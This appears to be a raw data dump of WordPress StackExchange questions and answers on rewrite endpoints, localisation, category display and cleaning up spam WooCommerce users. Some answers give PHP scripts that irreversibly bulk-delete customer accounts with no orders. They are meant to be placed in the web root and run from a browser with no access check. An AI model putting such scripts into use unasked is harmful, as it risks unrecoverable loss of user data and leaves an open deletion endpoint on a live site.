<code>prefix_get_data()</code> which will grab the jobid from the <code>global $wp_query</code> and do a <a href=\"https://codex.wordpress.org/Function_API/wp_remote_get\" rel=\"nofollow noreferrer\"><code>wp_remote_get()</code></a> against your API passing in the Job ID. This will hopefully return useful data we can then use in the template.</p>\n\n<pre><code>/**\n * Return data from external API\n * \n * @param Integer $jobid\n * \n * @return Array\n */\nfunction prefix_get_data( $jobid = 0 ) {\n\n global $wp_query;\n\n $jobid = ( ! empty( $jobid ) ) ? $wp_query-&gt;get( 'jobid', $jobid ) : $jobid;\n\n $response = wp_remote_get( 'http://foobar.url', array(\n 'body' =&gt; array(\n 'jobid' =&gt; $jobid,\n )\n ) );\n\n return json_decode( $response );\n\n}\n</code></pre>\n\n<p>Calling it as <code>$data = prefix_get_data()</code>. You may need to modify this function depending on what your API expects to get and what the API returns. You could even create a custom class with with intuitive methods to handle and call your data. The possibilities are endless!</p>\n" }, { "answer_id": 351034, "author": "Julix", "author_id": 117836, "author_profile": "https://wordpress.stackexchange.com/users/117836", "pm_score": 1, "selected": false, "text": "<p>The easiest backend way of receiving a url like <code>/careers/123</code> internally processing it as <code>/careers/job?position_id=123</code> and return those contents, without actually re-directing / changing the url is a \"url rewrite\". I thought initially those were just for file names but they're actually quite powerful.</p>\n\n<p>This did it for me:</p>\n\n<pre class=\"lang-php prettyprint-override\"><code> add_action( 'init', 'job_rewrite' );\n\n function job_rewrite() {\n global $wp;\n global $wp_rewrite;\n $wp-&gt;add_query_var('position_id');\n $rule = '^careers/(\\d+)/?$';\n $job_page_id = [job-page id here];\n $rewrite = 'index.php?page_id=' . $job_page_id . '&amp;position_id=$matches[1]'; //job/?id=\n add_rewrite_rule( $rule, $rewrite, 'top' );\n $wp_rewrite-&gt;flush_rules();\n }\n</code></pre>\n\n<p>Then all I had to do was handle the API request in the <code>page-job.php</code> template file. </p>\n\n<pre class=\"lang-php prettyprint-override\"><code>global $wp;\n$position_id = $wp-&gt;query_vars['position_id'];\n// handle the API request with the ID\n</code></pre>\n" } ]
2019/10/22
[ "https://wordpress.stackexchange.com/questions/351024", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/177189/" ]
Most of the time I like having the blocks the full width of my site (<https://princetonfireandsafety.com/>), but sometimes I just want to have a single header or paragraph block that isn't that big. Like if the text is only one or two lines, it looks really weird spanning the whole page (ie. The section on my page titled "Did you know that store bought fire extinguishers still need to be certified for your business?" I'd only want a bit wider than the middle column right above it). I have no clue how to go about achieving this. Am I overlooking an option with the block editor? Is it some CSS/HTML that needs to be done? Or is there a plugin that would make this easier? I'm using the OceanWP theme if that matters.
The easiest way is to simply create a [custom rewrite endpoint](https://codex.wordpress.org/Rewrite_API/add_rewrite_endpoint). This is a two-fer. It will create our actual permalink structure and our query var in one go. Do note that after creating the below you will need to resave permalinks: Settings -> Permalinks -> save button. ``` /** * Create Careers Endpoint * * @return void */ function prefix_careers_endpoint() { add_rewrite_endpoint( 'careers', // Permalink Endpoint EP_PAGES, // Use `EP_ROOT` for more complex permalink strucures such as `careers/job` 'jobid' // Custom Query Var ( if not passed, defaults to Endpoint - first parameter `careers` ) ); } add_action( 'init', 'prefix_careers_endpoint' ); ``` Next we can check the `global $wp_query` object for the query var's existence. If it exists we'll switch out the current template with one of our own choosing. In this case it will look for in the theme `endpoint-careers.php`. ``` /** * Include template if query var exists * * @param String $template * * @return String $template */ function prefix_careers_template( $template ) { global $wp_query; // Ensure our `jobid` query var exists and is not empty if( '' !== $wp_query->get( 'jobid' ) ) { // Ensure our template file exists if( '' !== ( $new_template = locate_template( 'endpoint-careers.php' ) ) ) { $template = $new_template; // Assign templae file path from conditional } } return $template; } add_filter( 'template_include', 'prefix_careers_template' ); ``` Finally, inside our custom template file `endpoint-careers.php` after `get_header()` we can create and call a custom function `prefix_get_data()` which will grab the jobid from the `global $wp_query` and do a [`wp_remote_get()`](https://codex.wordpress.org/Function_API/wp_remote_get) against your API passing in the Job ID. This will hopefully return useful data we can then use in the template. ``` /** * Return data from external API * * @param Integer $jobid * * @return Array */ function prefix_get_data( $jobid = 0 ) { global $wp_query; $jobid = ( ! empty( $jobid ) ) ? $wp_query->get( 'jobid', $jobid ) : $jobid; $response = wp_remote_get( 'http://foobar.url', array( 'body' => array( 'jobid' => $jobid, ) ) ); return json_decode( $response ); } ``` Calling it as `$data = prefix_get_data()`. You may need to modify this function depending on what your API expects to get and what the API returns. You could even create a custom class with with intuitive methods to handle and call your data. The possibilities are endless!
351,036
<p>My wordpress website has two languages. The theme translates properly, but whenever I use <code>get_the_date</code> it is in the default english language. How do I force the use of another language? The <a href="https://codex.wordpress.org/Plugin_API/Filter_Reference/locale" rel="nofollow noreferrer">locale filter</a> <strong>does not</strong> work.</p>
[ { "answer_id": 350978, "author": "Howdy_McGee", "author_id": 7355, "author_profile": "https://wordpress.stackexchange.com/users/7355", "pm_score": 2, "selected": false, "text": "<p>The easiest way is to simply create a <a href=\"https://codex.wordpress.org/Rewrite_API/add_rewrite_endpoint\" rel=\"nofollow noreferrer\">custom rewrite endpoint</a>. This is a two-fer. It will create our actual permalink structure and our query var in one go.</p>\n\n<p>Do note that after creating the below you will need to resave permalinks: Settings -> Permalinks -> save button.</p>\n\n<pre><code>/**\n * Create Careers Endpoint\n * \n * @return void\n */\nfunction prefix_careers_endpoint() {\n\n add_rewrite_endpoint(\n 'careers', // Permalink Endpoint\n EP_PAGES, // Use `EP_ROOT` for more complex permalink strucures such as `careers/job`\n 'jobid' // Custom Query Var ( if not passed, defaults to Endpoint - first parameter `careers` )\n );\n\n}\nadd_action( 'init', 'prefix_careers_endpoint' );\n</code></pre>\n\n<p>Next we can check the <code>global $wp_query</code> object for the query var's existence. If it exists we'll switch out the current template with one of our own choosing. In this case it will look for in the theme <code>endpoint-careers.php</code>.</p>\n\n<pre><code>/**\n * Include template if query var exists\n * \n * @param String $template\n * \n * @return String $template\n */\nfunction prefix_careers_template( $template ) {\n\n global $wp_query;\n\n // Ensure our `jobid` query var exists and is not empty\n if( '' !== $wp_query-&gt;get( 'jobid' ) ) {\n\n // Ensure our template file exists\n if( '' !== ( $new_template = locate_template( 'endpoint-careers.php' ) ) ) {\n $template = $new_template; // Assign templae file path from conditional\n }\n\n }\n\n return $template;\n\n}\nadd_filter( 'template_include', 'prefix_careers_template' );\n</code></pre>\n\n<p>Finally, inside our custom template file <code>endpoint-careers.php</code> after <code>get_header()</code> we can create and call a custom function <code>prefix_get_data()</code> which will grab the jobid from the <code>global $wp_query</code> and do a <a href=\"https://codex.wordpress.org/Function_API/wp_remote_get\" rel=\"nofollow noreferrer\"><code>wp_remote_get()</code></a> against your API passing in the Job ID. This will hopefully return useful data we can then use in the template.</p>\n\n<pre><code>/**\n * Return data from external API\n * \n * @param Integer $jobid\n * \n * @return Array\n */\nfunction prefix_get_data( $jobid = 0 ) {\n\n global $wp_query;\n\n $jobid = ( ! empty( $jobid ) ) ? $wp_query-&gt;get( 'jobid', $jobid ) : $jobid;\n\n $response = wp_remote_get( 'http://foobar.url', array(\n 'body' =&gt; array(\n 'jobid' =&gt; $jobid,\n )\n ) );\n\n return json_decode( $response );\n\n}\n</code></pre>\n\n<p>Calling it as <code>$data = prefix_get_data()</code>. You may need to modify this function depending on what your API expects to get and what the API returns. You could even create a custom class with with intuitive methods to handle and call your data. The possibilities are endless!</p>\n" }, { "answer_id": 351034, "author": "Julix", "author_id": 117836, "author_profile": "https://wordpress.stackexchange.com/users/117836", "pm_score": 1, "selected": false, "text": "<p>The easiest backend way of receiving a url like <code>/careers/123</code> internally processing it as <code>/careers/job?position_id=123</code> and return those contents, without actually re-directing / changing the url is a \"url rewrite\". I thought initially those were just for file names but they're actually quite powerful.</p>\n\n<p>This did it for me:</p>\n\n<pre class=\"lang-php prettyprint-override\"><code> add_action( 'init', 'job_rewrite' );\n\n function job_rewrite() {\n global $wp;\n global $wp_rewrite;\n $wp-&gt;add_query_var('position_id');\n $rule = '^careers/(\\d+)/?$';\n $job_page_id = [job-page id here];\n $rewrite = 'index.php?page_id=' . $job_page_id . '&amp;position_id=$matches[1]'; //job/?id=\n add_rewrite_rule( $rule, $rewrite, 'top' );\n $wp_rewrite-&gt;flush_rules();\n }\n</code></pre>\n\n<p>Then all I had to do was handle the API request in the <code>page-job.php</code> template file. </p>\n\n<pre class=\"lang-php prettyprint-override\"><code>global $wp;\n$position_id = $wp-&gt;query_vars['position_id'];\n// handle the API request with the ID\n</code></pre>\n" } ]
2019/10/22
[ "https://wordpress.stackexchange.com/questions/351036", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/140118/" ]
My wordpress website has two languages. The theme translates properly, but whenever I use `get_the_date` it is in the default english language. How do I force the use of another language? The [locale filter](https://codex.wordpress.org/Plugin_API/Filter_Reference/locale) **does not** work.
The easiest way is to simply create a [custom rewrite endpoint](https://codex.wordpress.org/Rewrite_API/add_rewrite_endpoint). This is a two-fer. It will create our actual permalink structure and our query var in one go. Do note that after creating the below you will need to resave permalinks: Settings -> Permalinks -> save button. ``` /** * Create Careers Endpoint * * @return void */ function prefix_careers_endpoint() { add_rewrite_endpoint( 'careers', // Permalink Endpoint EP_PAGES, // Use `EP_ROOT` for more complex permalink strucures such as `careers/job` 'jobid' // Custom Query Var ( if not passed, defaults to Endpoint - first parameter `careers` ) ); } add_action( 'init', 'prefix_careers_endpoint' ); ``` Next we can check the `global $wp_query` object for the query var's existence. If it exists we'll switch out the current template with one of our own choosing. In this case it will look for in the theme `endpoint-careers.php`. ``` /** * Include template if query var exists * * @param String $template * * @return String $template */ function prefix_careers_template( $template ) { global $wp_query; // Ensure our `jobid` query var exists and is not empty if( '' !== $wp_query->get( 'jobid' ) ) { // Ensure our template file exists if( '' !== ( $new_template = locate_template( 'endpoint-careers.php' ) ) ) { $template = $new_template; // Assign templae file path from conditional } } return $template; } add_filter( 'template_include', 'prefix_careers_template' ); ``` Finally, inside our custom template file `endpoint-careers.php` after `get_header()` we can create and call a custom function `prefix_get_data()` which will grab the jobid from the `global $wp_query` and do a [`wp_remote_get()`](https://codex.wordpress.org/Function_API/wp_remote_get) against your API passing in the Job ID. This will hopefully return useful data we can then use in the template. ``` /** * Return data from external API * * @param Integer $jobid * * @return Array */ function prefix_get_data( $jobid = 0 ) { global $wp_query; $jobid = ( ! empty( $jobid ) ) ? $wp_query->get( 'jobid', $jobid ) : $jobid; $response = wp_remote_get( 'http://foobar.url', array( 'body' => array( 'jobid' => $jobid, ) ) ); return json_decode( $response ); } ``` Calling it as `$data = prefix_get_data()`. You may need to modify this function depending on what your API expects to get and what the API returns. You could even create a custom class with with intuitive methods to handle and call your data. The possibilities are endless!
351,039
<p>I have a wordpress ecommerce website which I have begun to update after not touching it for over a year. The first thing I did was implement reCaptcha into all inquiry and contact forms to reduce the amount of spam that is sent to my business' inbox. I have also got it working for login and user account creation, to hopefully reduce the amount of bot user accounts registering on my website. </p> <p>I think I am in a good place to now to tackle the users side of this cleanup, which I have roughly 14,000 in my database. Of these users, there is probably only ~100-200 that have actually placed orders on my ecommerce website. I have been searching for a way to delete users with no order history, and I came across this post: <code>https://wordpress.org/support/topic/how-do-i-delete-customers-with-no-orders/</code></p> <p>Under phpmyadmin, I have navigated to SQL tab to run a query, but am not having success with the code provided by the above link. Here is a screenshot of what my SQL window looks like when selecting the wp_tom2users database. <code>https://ibb.co/8488Zyk</code></p> <p>If I try to hit update, without making any changes, I get this <code>https://ibb.co/LrJcBmF</code> Same goes for if I try and paste the below code into the textbox and hit update.</p> <pre><code>SELECT * from wp_tom2users where wp_tom2users.ID not in ( SELECT meta_value FROM wp_tom2postmeta WHERE meta_key = '_customer_user' ) AND wp_tom2users.ID not in ( select distinct(post_author) from wp_tom2posts ) </code></pre> <p>I was hoping someone could help me with this, as I would prefer to leave the accounts with order history rather than bulk delete all users. I also want to mention, I have three users with administrator privileges which I would like to prevent from deleting as well.</p> <p>Thank you for taking the time to read the essay I typed into my issue.</p> <p>Edit: After looking at the code from the link provided above again, and looking at the table indexes <code>https://ibb.co/tHxpMCN</code> I don't think I can sort by '_customer_user' as it's not an index in wp_tom2postmeta. </p>
[ { "answer_id": 351043, "author": "Hector", "author_id": 48376, "author_profile": "https://wordpress.stackexchange.com/users/48376", "pm_score": 1, "selected": false, "text": "<p>Welcome!</p>\n\n<p><strong>Short Answer about SQL queries:</strong></p>\n\n<p>Your query in the first image is not correct. It should be like <code>SELECT * FROM wp_tom2users</code> and it will select everything in the table. If it is not working, you may need to add your database name to it like <code>SELECT * FROM myDbName.wp_tom2users</code>.</p>\n\n<p>The mentioned query looks fine, but try it by adding database name like above.</p>\n\n<p><strong>Detailed answer to visualize the process:</strong></p>\n\n<p>As you want to delete some users based on their orders, it is better to use existing functions in WordPress and WooCommerce instead of doing it using direct SQL code.</p>\n\n<p>In WooCommerce, there is a function to count user orders.\n<code>wc_get_customer_order_count</code> \nBased on <a href=\"https://docs.woocommerce.com/wc-apidocs/source-function-wc_get_customer_order_count.html#623-632\" rel=\"nofollow noreferrer\">documentation</a> you need to pass the user ID to this function and it will return the count of orders.</p>\n\n<pre><code>$oreder_count = wc_get_customer_order_count( $user_id );\n</code></pre>\n\n<p>So, if you run a loop for users and count their orders, you can find wich users should be deleted.</p>\n\n<p>The following code can display order count for each user in <em>admin-> users</em> as a sortable column.</p>\n\n<pre><code>add_filter( 'manage_users_columns', 'prefix5487_modify_user_columns' );\n\nfunction prefix5487_modify_user_columns( $column ) {\n $column['orders'] = __( 'Order count' );\n return $column;\n}\n\n\nadd_filter( 'manage_users_custom_column', 'prefix5487_user_order_column_value', 10, 3 );\n\nfunction prefix5487_user_order_column_value( $val, $column_name, $user_id ) {\n switch ($column_name) {\n case 'orders' :\n return wc_get_customer_order_count( $user_id );\n default:\n }\n return $val;\n}\n\n\nadd_filter( 'manage_users_sortable_columns', 'prefix5487_make_registered_column_sortable' );\n\nfunction prefix5487_make_registered_column_sortable( $columns ) {\n return wp_parse_args( array( 'orders' =&gt; 'orders' ), $columns );\n}\n</code></pre>\n\n<p>Now, you can sort your users based on order count and use bulk action to delete them and make sure you are not deleting admin users.</p>\n" }, { "answer_id": 352990, "author": "Chad Reitsma", "author_id": 160601, "author_profile": "https://wordpress.stackexchange.com/users/160601", "pm_score": 2, "selected": false, "text": "<p>Hector's answer works well, but if you have have a large number of users you need to remove (in my case, it was over 13,000 spam registrations) I find using this little utility script works wonders, and doesn't require you to manually check and delete from the user-list in the admin panel.</p>\n\n<p>The script still might time out, so keep an eye on it if you are clearing out a lot of users.</p>\n\n<p><strong>cleanusers.php</strong></p>\n\n<pre><code>//Load WP functions and DB access\ninclude('wp-load.php');\n\n//required for wp_user_delete\nrequire_once( ABSPATH.'wp-admin/includes/user.php' );\n\n//Let it run forever\nset_time_limit(0);\n\n//Get the $wpdb database object\nglobal $wpdb;\n\n\n//Loop through all users\nforeach($wpdb-&gt;get_results('SELECT ID from '.$wpdb-&gt;prefix.'users ORDER BY ID DESC') as $user) {\n\n\n //Get user object\n $user = get_user_by('ID', $user-&gt;ID);\n\n //Check if this user's role (customer, subscriber, author, etc.)\n $roles = $user-&gt;roles;\n if ($roles[0] == \"customer\") {\n\n //Check the order count and delete if it is 0\n $order_count = wc_get_customer_order_count( $user-&gt;ID);\n if ($order_count === 0) wp_delete_user($user-&gt;ID);\n\n }\n\n}\n\necho \"DONE!\";\n</code></pre>\n\n<p>Place the above file in your installation folder, then access via browser or run via command-line.</p>\n\n<p>Cheers,\nC.</p>\n" }, { "answer_id": 413272, "author": "hrood", "author_id": 206989, "author_profile": "https://wordpress.stackexchange.com/users/206989", "pm_score": 0, "selected": false, "text": "<p>This is an expanded version of Chad's answer that does them in batches. It also adds a current timestamp, how long the script took, and how many records were deleted.</p>\n<pre><code>&lt;?php /*Load WP functions and DB access*/\ninclude('wp-load.php');\n\n/*required for wp_user_delete*/\nrequire_once( ABSPATH.'wp-admin/includes/user.php' );\n\n/*Let it run forever*/\nset_time_limit(0);\n\n/*Get the $wpdb database object*/\nglobal $wpdb;\n\n$i = 0; /*counter starts at 0 not 1*/\n\n/*log start time*/\n$start_time = microtime(true);\n\n/*Loop through all users*/\nforeach($wpdb-&gt;get_results('SELECT ID from '.$wpdb-&gt;prefix.'users ORDER BY ID DESC') as $user) {\n\n\n /*Get user object*/\n $user = get_user_by('ID', $user-&gt;ID);\n\n /*Check if this user's role (customer, subscriber, author, etc.)*/\n $roles = $user-&gt;roles;\n if ($roles[0] == &quot;customer&quot;) {\n\n /*Check the order count and delete if it is 0*/\n $order_count = wc_get_customer_order_count( $user-&gt;ID);\n if ($order_count === 0){\n wp_delete_user($user-&gt;ID);\n /*stops at 1000th record - change this if you want*/\n if ($i++ == 999){\n /*log the time it took*/\n $end_time = microtime(true);\n break;\n } \n } \n\n }\n\n}\nif(!$end_time){\n $end_time = microtime(true); \n}\n$execution_time = ($end_time - $start_time);\n\necho &quot;DONE! Deleted &quot; .$i. &quot; users.&lt;br&gt;&quot; ;\necho &quot;The time in &quot; . date_default_timezone_get() . &quot; is &quot; . date(&quot;H:i:s&quot;);\necho &quot; Execution time of script = &quot;.$execution_time.&quot; sec&quot;;\n</code></pre>\n" } ]
2019/10/22
[ "https://wordpress.stackexchange.com/questions/351039", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/177205/" ]
I have a wordpress ecommerce website which I have begun to update after not touching it for over a year. The first thing I did was implement reCaptcha into all inquiry and contact forms to reduce the amount of spam that is sent to my business' inbox. I have also got it working for login and user account creation, to hopefully reduce the amount of bot user accounts registering on my website. I think I am in a good place to now to tackle the users side of this cleanup, which I have roughly 14,000 in my database. Of these users, there is probably only ~100-200 that have actually placed orders on my ecommerce website. I have been searching for a way to delete users with no order history, and I came across this post: `https://wordpress.org/support/topic/how-do-i-delete-customers-with-no-orders/` Under phpmyadmin, I have navigated to SQL tab to run a query, but am not having success with the code provided by the above link. Here is a screenshot of what my SQL window looks like when selecting the wp\_tom2users database. `https://ibb.co/8488Zyk` If I try to hit update, without making any changes, I get this `https://ibb.co/LrJcBmF` Same goes for if I try and paste the below code into the textbox and hit update. ``` SELECT * from wp_tom2users where wp_tom2users.ID not in ( SELECT meta_value FROM wp_tom2postmeta WHERE meta_key = '_customer_user' ) AND wp_tom2users.ID not in ( select distinct(post_author) from wp_tom2posts ) ``` I was hoping someone could help me with this, as I would prefer to leave the accounts with order history rather than bulk delete all users. I also want to mention, I have three users with administrator privileges which I would like to prevent from deleting as well. Thank you for taking the time to read the essay I typed into my issue. Edit: After looking at the code from the link provided above again, and looking at the table indexes `https://ibb.co/tHxpMCN` I don't think I can sort by '\_customer\_user' as it's not an index in wp\_tom2postmeta.
Hector's answer works well, but if you have have a large number of users you need to remove (in my case, it was over 13,000 spam registrations) I find using this little utility script works wonders, and doesn't require you to manually check and delete from the user-list in the admin panel. The script still might time out, so keep an eye on it if you are clearing out a lot of users. **cleanusers.php** ``` //Load WP functions and DB access include('wp-load.php'); //required for wp_user_delete require_once( ABSPATH.'wp-admin/includes/user.php' ); //Let it run forever set_time_limit(0); //Get the $wpdb database object global $wpdb; //Loop through all users foreach($wpdb->get_results('SELECT ID from '.$wpdb->prefix.'users ORDER BY ID DESC') as $user) { //Get user object $user = get_user_by('ID', $user->ID); //Check if this user's role (customer, subscriber, author, etc.) $roles = $user->roles; if ($roles[0] == "customer") { //Check the order count and delete if it is 0 $order_count = wc_get_customer_order_count( $user->ID); if ($order_count === 0) wp_delete_user($user->ID); } } echo "DONE!"; ``` Place the above file in your installation folder, then access via browser or run via command-line. Cheers, C.
351,041
<p>I want to make a file download system in wordpress where user can download a specific file using filename or code.In user frontend user unable to see anything without a search box where they can enter file name or code to download the file. How can I do This.Or which plugin should I use?</p>
[ { "answer_id": 351043, "author": "Hector", "author_id": 48376, "author_profile": "https://wordpress.stackexchange.com/users/48376", "pm_score": 1, "selected": false, "text": "<p>Welcome!</p>\n\n<p><strong>Short Answer about SQL queries:</strong></p>\n\n<p>Your query in the first image is not correct. It should be like <code>SELECT * FROM wp_tom2users</code> and it will select everything in the table. If it is not working, you may need to add your database name to it like <code>SELECT * FROM myDbName.wp_tom2users</code>.</p>\n\n<p>The mentioned query looks fine, but try it by adding database name like above.</p>\n\n<p><strong>Detailed answer to visualize the process:</strong></p>\n\n<p>As you want to delete some users based on their orders, it is better to use existing functions in WordPress and WooCommerce instead of doing it using direct SQL code.</p>\n\n<p>In WooCommerce, there is a function to count user orders.\n<code>wc_get_customer_order_count</code> \nBased on <a href=\"https://docs.woocommerce.com/wc-apidocs/source-function-wc_get_customer_order_count.html#623-632\" rel=\"nofollow noreferrer\">documentation</a> you need to pass the user ID to this function and it will return the count of orders.</p>\n\n<pre><code>$oreder_count = wc_get_customer_order_count( $user_id );\n</code></pre>\n\n<p>So, if you run a loop for users and count their orders, you can find wich users should be deleted.</p>\n\n<p>The following code can display order count for each user in <em>admin-> users</em> as a sortable column.</p>\n\n<pre><code>add_filter( 'manage_users_columns', 'prefix5487_modify_user_columns' );\n\nfunction prefix5487_modify_user_columns( $column ) {\n $column['orders'] = __( 'Order count' );\n return $column;\n}\n\n\nadd_filter( 'manage_users_custom_column', 'prefix5487_user_order_column_value', 10, 3 );\n\nfunction prefix5487_user_order_column_value( $val, $column_name, $user_id ) {\n switch ($column_name) {\n case 'orders' :\n return wc_get_customer_order_count( $user_id );\n default:\n }\n return $val;\n}\n\n\nadd_filter( 'manage_users_sortable_columns', 'prefix5487_make_registered_column_sortable' );\n\nfunction prefix5487_make_registered_column_sortable( $columns ) {\n return wp_parse_args( array( 'orders' =&gt; 'orders' ), $columns );\n}\n</code></pre>\n\n<p>Now, you can sort your users based on order count and use bulk action to delete them and make sure you are not deleting admin users.</p>\n" }, { "answer_id": 352990, "author": "Chad Reitsma", "author_id": 160601, "author_profile": "https://wordpress.stackexchange.com/users/160601", "pm_score": 2, "selected": false, "text": "<p>Hector's answer works well, but if you have have a large number of users you need to remove (in my case, it was over 13,000 spam registrations) I find using this little utility script works wonders, and doesn't require you to manually check and delete from the user-list in the admin panel.</p>\n\n<p>The script still might time out, so keep an eye on it if you are clearing out a lot of users.</p>\n\n<p><strong>cleanusers.php</strong></p>\n\n<pre><code>//Load WP functions and DB access\ninclude('wp-load.php');\n\n//required for wp_user_delete\nrequire_once( ABSPATH.'wp-admin/includes/user.php' );\n\n//Let it run forever\nset_time_limit(0);\n\n//Get the $wpdb database object\nglobal $wpdb;\n\n\n//Loop through all users\nforeach($wpdb-&gt;get_results('SELECT ID from '.$wpdb-&gt;prefix.'users ORDER BY ID DESC') as $user) {\n\n\n //Get user object\n $user = get_user_by('ID', $user-&gt;ID);\n\n //Check if this user's role (customer, subscriber, author, etc.)\n $roles = $user-&gt;roles;\n if ($roles[0] == \"customer\") {\n\n //Check the order count and delete if it is 0\n $order_count = wc_get_customer_order_count( $user-&gt;ID);\n if ($order_count === 0) wp_delete_user($user-&gt;ID);\n\n }\n\n}\n\necho \"DONE!\";\n</code></pre>\n\n<p>Place the above file in your installation folder, then access via browser or run via command-line.</p>\n\n<p>Cheers,\nC.</p>\n" }, { "answer_id": 413272, "author": "hrood", "author_id": 206989, "author_profile": "https://wordpress.stackexchange.com/users/206989", "pm_score": 0, "selected": false, "text": "<p>This is an expanded version of Chad's answer that does them in batches. It also adds a current timestamp, how long the script took, and how many records were deleted.</p>\n<pre><code>&lt;?php /*Load WP functions and DB access*/\ninclude('wp-load.php');\n\n/*required for wp_user_delete*/\nrequire_once( ABSPATH.'wp-admin/includes/user.php' );\n\n/*Let it run forever*/\nset_time_limit(0);\n\n/*Get the $wpdb database object*/\nglobal $wpdb;\n\n$i = 0; /*counter starts at 0 not 1*/\n\n/*log start time*/\n$start_time = microtime(true);\n\n/*Loop through all users*/\nforeach($wpdb-&gt;get_results('SELECT ID from '.$wpdb-&gt;prefix.'users ORDER BY ID DESC') as $user) {\n\n\n /*Get user object*/\n $user = get_user_by('ID', $user-&gt;ID);\n\n /*Check if this user's role (customer, subscriber, author, etc.)*/\n $roles = $user-&gt;roles;\n if ($roles[0] == &quot;customer&quot;) {\n\n /*Check the order count and delete if it is 0*/\n $order_count = wc_get_customer_order_count( $user-&gt;ID);\n if ($order_count === 0){\n wp_delete_user($user-&gt;ID);\n /*stops at 1000th record - change this if you want*/\n if ($i++ == 999){\n /*log the time it took*/\n $end_time = microtime(true);\n break;\n } \n } \n\n }\n\n}\nif(!$end_time){\n $end_time = microtime(true); \n}\n$execution_time = ($end_time - $start_time);\n\necho &quot;DONE! Deleted &quot; .$i. &quot; users.&lt;br&gt;&quot; ;\necho &quot;The time in &quot; . date_default_timezone_get() . &quot; is &quot; . date(&quot;H:i:s&quot;);\necho &quot; Execution time of script = &quot;.$execution_time.&quot; sec&quot;;\n</code></pre>\n" } ]
2019/10/22
[ "https://wordpress.stackexchange.com/questions/351041", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/175887/" ]
I want to make a file download system in wordpress where user can download a specific file using filename or code.In user frontend user unable to see anything without a search box where they can enter file name or code to download the file. How can I do This.Or which plugin should I use?
Hector's answer works well, but if you have have a large number of users you need to remove (in my case, it was over 13,000 spam registrations) I find using this little utility script works wonders, and doesn't require you to manually check and delete from the user-list in the admin panel. The script still might time out, so keep an eye on it if you are clearing out a lot of users. **cleanusers.php** ``` //Load WP functions and DB access include('wp-load.php'); //required for wp_user_delete require_once( ABSPATH.'wp-admin/includes/user.php' ); //Let it run forever set_time_limit(0); //Get the $wpdb database object global $wpdb; //Loop through all users foreach($wpdb->get_results('SELECT ID from '.$wpdb->prefix.'users ORDER BY ID DESC') as $user) { //Get user object $user = get_user_by('ID', $user->ID); //Check if this user's role (customer, subscriber, author, etc.) $roles = $user->roles; if ($roles[0] == "customer") { //Check the order count and delete if it is 0 $order_count = wc_get_customer_order_count( $user->ID); if ($order_count === 0) wp_delete_user($user->ID); } } echo "DONE!"; ``` Place the above file in your installation folder, then access via browser or run via command-line. Cheers, C.
351,048
<p>I have a category about the catalog, news1 Which I use to get a post on the main page. The problem is that I don't want the news1 category name to appear in these posts, but I want other categories to be displayed.</p> <p>How can I do this?</p>
[ { "answer_id": 351053, "author": "Masum Hasan", "author_id": 177212, "author_profile": "https://wordpress.stackexchange.com/users/177212", "pm_score": -1, "selected": false, "text": "<p>Just make the category status \"private\". It should do the job and will not be visible publicly </p>\n" }, { "answer_id": 351060, "author": "Krzysiek Dróżdż", "author_id": 34172, "author_profile": "https://wordpress.stackexchange.com/users/34172", "pm_score": 0, "selected": false, "text": "<p>First of all, I wouldn't recommend to use categories to show posts anywhere. Such approach has many consequences (it creates category archive, feeds, and so on).</p>\n\n<p>But if you already have such solution, then you can use <a href=\"https://core.trac.wordpress.org/browser/tags/5.2/src/wp-includes/category-template.php#L97\" rel=\"nofollow noreferrer\"><code>get_the_categories</code></a> filter and remove given category from the list.</p>\n\n<pre><code>add_filter( 'get_the_categories', function ( $categories, $id ) {\n foreach ( $categories as $i =&gt; $term ) {\n if ( &lt;ID_OF_CATEGORY_TO_IGNORE&gt; == $term-&gt;term_id ) {\n unset( $categories[$i] );\n }\n }\n return $categories;\n}, 10, 2 );\n</code></pre>\n" } ]
2019/10/22
[ "https://wordpress.stackexchange.com/questions/351048", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/177208/" ]
I have a category about the catalog, news1 Which I use to get a post on the main page. The problem is that I don't want the news1 category name to appear in these posts, but I want other categories to be displayed. How can I do this?
First of all, I wouldn't recommend to use categories to show posts anywhere. Such approach has many consequences (it creates category archive, feeds, and so on). But if you already have such solution, then you can use [`get_the_categories`](https://core.trac.wordpress.org/browser/tags/5.2/src/wp-includes/category-template.php#L97) filter and remove given category from the list. ``` add_filter( 'get_the_categories', function ( $categories, $id ) { foreach ( $categories as $i => $term ) { if ( <ID_OF_CATEGORY_TO_IGNORE> == $term->term_id ) { unset( $categories[$i] ); } } return $categories; }, 10, 2 ); ```
351,056
<p>I have the <code>@wordpress/data</code> package installed, but I can't use <code>useDispatch</code> in my block edit function:</p> <pre><code>const { registerBlockType } = wp.blocks; const { useDispatch, useSelect } = wp.data; . . . registerBlockType( 'rb-bootstrap/grid', { ... edit: function( props ) { const { replaceInnerBlocks } = useDispatch("core/block-editor"); } } </code></pre> <blockquote> <p>TypeError: useDispatch is not a function</p> </blockquote> <p>What am I missing?</p>
[ { "answer_id": 351053, "author": "Masum Hasan", "author_id": 177212, "author_profile": "https://wordpress.stackexchange.com/users/177212", "pm_score": -1, "selected": false, "text": "<p>Just make the category status \"private\". It should do the job and will not be visible publicly </p>\n" }, { "answer_id": 351060, "author": "Krzysiek Dróżdż", "author_id": 34172, "author_profile": "https://wordpress.stackexchange.com/users/34172", "pm_score": 0, "selected": false, "text": "<p>First of all, I wouldn't recommend to use categories to show posts anywhere. Such approach has many consequences (it creates category archive, feeds, and so on).</p>\n\n<p>But if you already have such solution, then you can use <a href=\"https://core.trac.wordpress.org/browser/tags/5.2/src/wp-includes/category-template.php#L97\" rel=\"nofollow noreferrer\"><code>get_the_categories</code></a> filter and remove given category from the list.</p>\n\n<pre><code>add_filter( 'get_the_categories', function ( $categories, $id ) {\n foreach ( $categories as $i =&gt; $term ) {\n if ( &lt;ID_OF_CATEGORY_TO_IGNORE&gt; == $term-&gt;term_id ) {\n unset( $categories[$i] );\n }\n }\n return $categories;\n}, 10, 2 );\n</code></pre>\n" } ]
2019/10/23
[ "https://wordpress.stackexchange.com/questions/351056", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/127210/" ]
